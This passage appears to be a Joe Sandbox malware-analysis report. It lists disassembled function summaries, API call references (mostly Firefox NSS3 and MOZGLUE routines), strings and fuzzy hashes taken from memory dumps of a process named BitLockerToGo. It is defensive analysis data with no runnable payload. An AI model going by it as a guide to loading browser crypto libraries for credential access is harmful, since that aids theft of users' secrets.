Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C97CE40

Part of subcall function 6C9714C0: TlsGetValue.KERNEL32 ref: 6C9714E0
Part of subcall function 6C9714C0: EnterCriticalSection.KERNEL32 ref: 6C9714F5
Part of subcall function 6C9714C0: PR_Unlock.NSS3 ref: 6C97150D

Part of subcall function 6C97CEE0: PORT_ArenaMark_Util.NSS3(?,6C97CD93,?), ref: 6C97CEEE
Part of subcall function 6C97CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C97CD93,?), ref: 6C97CEFC
Part of subcall function 6C97CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C97CD93,?), ref: 6C97CF0B
Part of subcall function 6C97CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C97CD93,?), ref: 6C97CF1D

Part of subcall function 6C97CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C97CD93,?), ref: 6C97CF47
Part of subcall function 6C97CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C97CD93,?), ref: 6C97CF67
Part of subcall function 6C97CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C97CD93,?,?,?,?,?,?,?,?,?,?,?,6C97CD93,?), ref: 6C97CF78

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 36de9fd9717234d52a7e37d845652f3034869c33d9cb22aad22095469079baf9
Instruction ID: f53f41f9225cce7b7d1cb5ba0927d319323d429ed250efca895667d2f494b280
Opcode Fuzzy Hash: 36de9fd9717234d52a7e37d845652f3034869c33d9cb22aad22095469079baf9
Instruction Fuzzy Hash: 7D51B576A025019BE730EF69DC40BAA73F8AF68348F250524D959A7B40EB31ED05CBA1

Function 6C94EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C94EF38

Part of subcall function 6C939520: PK11_IsLoggedIn.NSS3(00000000,?,6C96379E,?,00000001,?), ref: 6C939542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C94EF53

Part of subcall function 6C954C20: TlsGetValue.KERNEL32 ref: 6C954C4C
Part of subcall function 6C954C20: EnterCriticalSection.KERNEL32(?), ref: 6C954C60
Part of subcall function 6C954C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C954CA1
Part of subcall function 6C954C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C954CBE
Part of subcall function 6C954C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C954CD2
Part of subcall function 6C954C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C954D3A

PR_GetCurrentThread.NSS3 ref: 6C94EF9E

Part of subcall function 6C9D9BF0: TlsGetValue.KERNEL32(?,?,?,6CA20A75), ref: 6C9D9C07

free.MOZGLUE(00000000), ref: 6C94EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C94F016
free.MOZGLUE(00000000), ref: 6C94F022

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: c14db17c7fa7db8fe0c5d8510ec3e74b43aef5ec75383330fe4a9213fc8c1961
Instruction ID: 1e06af7fd9397295eca2143685b8eec0b50c975d71ff1023846b8993872a92b8
Opcode Fuzzy Hash: c14db17c7fa7db8fe0c5d8510ec3e74b43aef5ec75383330fe4a9213fc8c1961
Instruction Fuzzy Hash: F6418371E0020AAFDF01CFA9DC45BEE7BB9AF58358F058025F914A7350E771D9158BA1

Function 6C922E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C912D1A), ref: 6C922E7E

Part of subcall function 6C9707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C918298,?,?,?,6C90FCE5,?), ref: 6C9707BF
Part of subcall function 6C9707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C9707E6
Part of subcall function 6C9707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C97081B
Part of subcall function 6C9707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C970825

PR_Now.NSS3 ref: 6C922EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C922EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C912D1A), ref: 6C922F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C912D1A), ref: 6C922F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C922F81

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 917ca9b44a5fdac855102d7f935076628dcbcb1558a1e59fec10964c168c1cfe
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: AB31457153190087F720C625CC48BFE7269EF90338F640579D5AA97AD8EB39D86AC621

Function 6C84DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C84DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C84D38A,?), ref: 6C84DC6F
free.MOZGLUE(?,?,?,?,?,6C84D38A,?), ref: 6C84DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C84D38A,?), ref: 6C84DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C84D38A,?), ref: 6C84DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C84D38A,?), ref: 6C84DD4A

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 126e2cadca02a5c5b8eafdf04010740ed07c521f826ccfc4fdae5c8e51cef56e
Instruction ID: b920b97221829eff998bad37695137e488407c33144dc1629c2b5dbc5231c37a
Opcode Fuzzy Hash: 126e2cadca02a5c5b8eafdf04010740ed07c521f826ccfc4fdae5c8e51cef56e
Instruction Fuzzy Hash: 71416DB5A00619CFCB20CF99C98499EB7F6FF89318B55896AD945A7B11D731FC00CB90

Function 6C910E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C910A2C), ref: 6C910E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C910A2C), ref: 6C910E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C910A2C), ref: 6C910E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C910A2C), ref: 6C910E90
free.MOZGLUE(00000000), ref: 6C910EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C910A2C), ref: 6C910ED9

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: da0b7cf40456a2fb795f7858b88396fd7e490b70f7bc2f2df860ad46f2f25d0b
Instruction ID: 0d11107474fdc155b9bbe1c61715ac27b2aceedfc797d71549401165d3731515
Opcode Fuzzy Hash: da0b7cf40456a2fb795f7858b88396fd7e490b70f7bc2f2df860ad46f2f25d0b
Instruction Fuzzy Hash: 20216E72F0828C47EB1049679C47B6B76AEDBD170CF091035D81C93E02EA62C87483A1

Function 6C836590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C82FA80: GetCurrentThreadId.KERNEL32 ref: 6C82FA8D
Part of subcall function 6C82FA80: AcquireSRWLockExclusive.KERNEL32(6C87F448), ref: 6C82FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C836727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C8367C8

Part of subcall function 6C844290: memcpy.VCRUNTIME140(?,?,6C852003,6C850AD9,?,6C850AD9,00000000,?,6C850AD9,?,00000004,?,6C851A62,?,6C852003,?), ref: 6C8442C4

Strings

data, xrefs: 6C836593

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 59560f65df842734ce56148546927d12fa15bc0c73d70ce8e55f3a6d0b25dc9e
Instruction ID: 5a012ccfad9b9f76f2b16699b02b75ec54e98491dd9120ca0e466088d2054585
Opcode Fuzzy Hash: 59560f65df842734ce56148546927d12fa15bc0c73d70ce8e55f3a6d0b25dc9e
Instruction Fuzzy Hash: 21D1BE75A083508BD730CF69CA44B9EB7E1BFC5308F509D2ED48987B51EB30A849CB92

Function 6C91AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C91AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C91AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C91AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C91AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CA39500), ref: 6C91AF23

Part of subcall function 6C96F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C96F0C8
Part of subcall function 6C96F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C96F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C91AF37

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 16a2b356f995e81ae8b222f1aaaab24128ed3b67d93dc4a2834a1f462a84ded7
Instruction ID: 3a864dad18365c35d4c4ffc23d0d92d5afd2211acddc0461f3a7b9d96d892cb8
Opcode Fuzzy Hash: 16a2b356f995e81ae8b222f1aaaab24128ed3b67d93dc4a2834a1f462a84ded7
Instruction Fuzzy Hash: 51214E7150D304ABEB104E188C02B9A77E4AF9572CF144314FC549BBD1EB31D95D87A7

Function 6C99EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C99EE85
realloc.MOZGLUE(D7D7AACF,?), ref: 6C99EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C99EEC5

Part of subcall function 6C970BE0: malloc.MOZGLUE(6C968D2D,?,00000000,?), ref: 6C970BF8
Part of subcall function 6C970BE0: TlsGetValue.KERNEL32(6C968D2D,?,00000000,?), ref: 6C970C15

htonl.WSOCK32(?), ref: 6C99EEE3
htonl.WSOCK32(00000000,?), ref: 6C99EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C99EF01

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5834885eca9027dd7ec41993c2a196520aab9e69677678a9a8086db6d9b190b
Instruction ID: 36fa7fb1253623c4c66fa3b59bdddab1a9bb0cacf52b1477ff1da236eee99e3a
Opcode Fuzzy Hash: b5834885eca9027dd7ec41993c2a196520aab9e69677678a9a8086db6d9b190b
Instruction Fuzzy Hash: 5521D331A002259FDF109F68DC8079A77A8EF49358F198129EC099B641E330EC54CBE2

Function 6C82D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C7FEB57,?,?,?,?,?,?,?,?,?), ref: 6C82D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C7FEB57,?), ref: 6C82D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C7FEB57,?), ref: 6C82D673
free.MOZGLUE(?), ref: 6C82D888

Strings

|Enabled, xrefs: 6C82D81E

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 619e0ad1664e0977f0eae50f645cb528fa59f5df356e7864c8a5878606ef89ff
Instruction ID: c96a7f5e5a6dbfba376b43a6f0426693bd2f7060e91537d94baa9e1ec962c03f
Opcode Fuzzy Hash: 619e0ad1664e0977f0eae50f645cb528fa59f5df356e7864c8a5878606ef89ff
Instruction Fuzzy Hash: C8A1F770A042188FDB21CF69C588BAEBFF1AF49318F14486DD8956B741D738A885CBE1

Function 6C8FAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C8FAFDA

Strings

%s at line %d of [%.10s], xrefs: 6C8FAFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C8FAFC4
misuse, xrefs: 6C8FAFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C8FAF5C

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 39e95bad347e58c0db0512c24f094bf5906a8b4be16ded376711b13cf7e98ee9
Instruction ID: 5edbd7b64772aa8cdaf111a0fe399ca70774eeec597e315eb8b97aabe16dd715
Opcode Fuzzy Hash: 39e95bad347e58c0db0512c24f094bf5906a8b4be16ded376711b13cf7e98ee9
Instruction Fuzzy Hash: 0B91D175B002158FEB24CF59C950AEAB7F1FF49364F1989A8E865AB751C334ED02CB60

Function 6C82F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C82F480

Part of subcall function 6C7FF100: LoadLibraryW.KERNEL32(shell32,?,6C86D020), ref: 6C7FF122
Part of subcall function 6C7FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7FF132

CloseHandle.KERNEL32(00000000), ref: 6C82F555

Part of subcall function 6C8014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C801248,6C801248,?), ref: 6C8014C9
Part of subcall function 6C8014B0: memcpy.VCRUNTIME140(?,6C801248,00000000,?,6C801248,?), ref: 6C8014EF

Part of subcall function 6C7FEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C7FEEE3

CreateFileW.KERNEL32 ref: 6C82F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C82F523

Strings

\oleacc.dll, xrefs: 6C82F4CB

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 2681d241c04afef4dc79391f5c304fb944ad57770b5efa4de52e86d5a2271b2a
Instruction ID: 240e8fd86b2df5a24f7c646c76edce8b12a1afc3ba5e5baf4678cfc5731de2f4
Opcode Fuzzy Hash: 2681d241c04afef4dc79391f5c304fb944ad57770b5efa4de52e86d5a2271b2a
Instruction Fuzzy Hash: 834194706087209FD731DF69CA88A9BB7F4AF54318F100E28F59187650EB34D589CBE2

Function 6C8574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C857526
__Init_thread_footer.LIBCMT ref: 6C857566
__Init_thread_footer.LIBCMT ref: 6C857597

Strings

kernel32.dll, xrefs: 6C857557
UnmapViewOfFile2, xrefs: 6C857552

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: bbdadff84050618fc755b2b011a2f984f422787253c42f63775b04dcdac31621
Instruction ID: 00aaa1cbb94b7e2b5f346c432d2e62dc947329f94610250e86c595df2f827d4a
Opcode Fuzzy Hash: bbdadff84050618fc755b2b011a2f984f422787253c42f63775b04dcdac31621
Instruction Fuzzy Hash: 99210B31701590ABCB358BAA8A19E9E33B5EB47368B50CD39D40587F40E764A851C6F1

Function 6C900DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C900BDE), ref: 6C900DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C900BDE), ref: 6C900DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C900BDE), ref: 6C900DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C900BDE), ref: 6C900E32

Strings

%s incr => %d (find lib), xrefs: 6C900E2D

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: c90b1a9d7894c608f4644048884a96d9b302f48ac67b220785ec690cd615e415
Instruction ID: ad4118e66113dcee87bf7bf10f1db7c9b64d086e6a361a2cb284bb60a18daa18
Opcode Fuzzy Hash: c90b1a9d7894c608f4644048884a96d9b302f48ac67b220785ec690cd615e415
Instruction Fuzzy Hash: 630124727003209FE7209F248C45E6773FCEB45A09B09882DE909E3A41E761FC9986F1

Function 6C85C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C85C0E9), ref: 6C85C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C85C437
FreeLibrary.KERNEL32(?,6C85C0E9), ref: 6C85C44C

Strings

NtQueryVirtualMemory, xrefs: 6C85C431
ntdll.dll, xrefs: 6C85C413

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
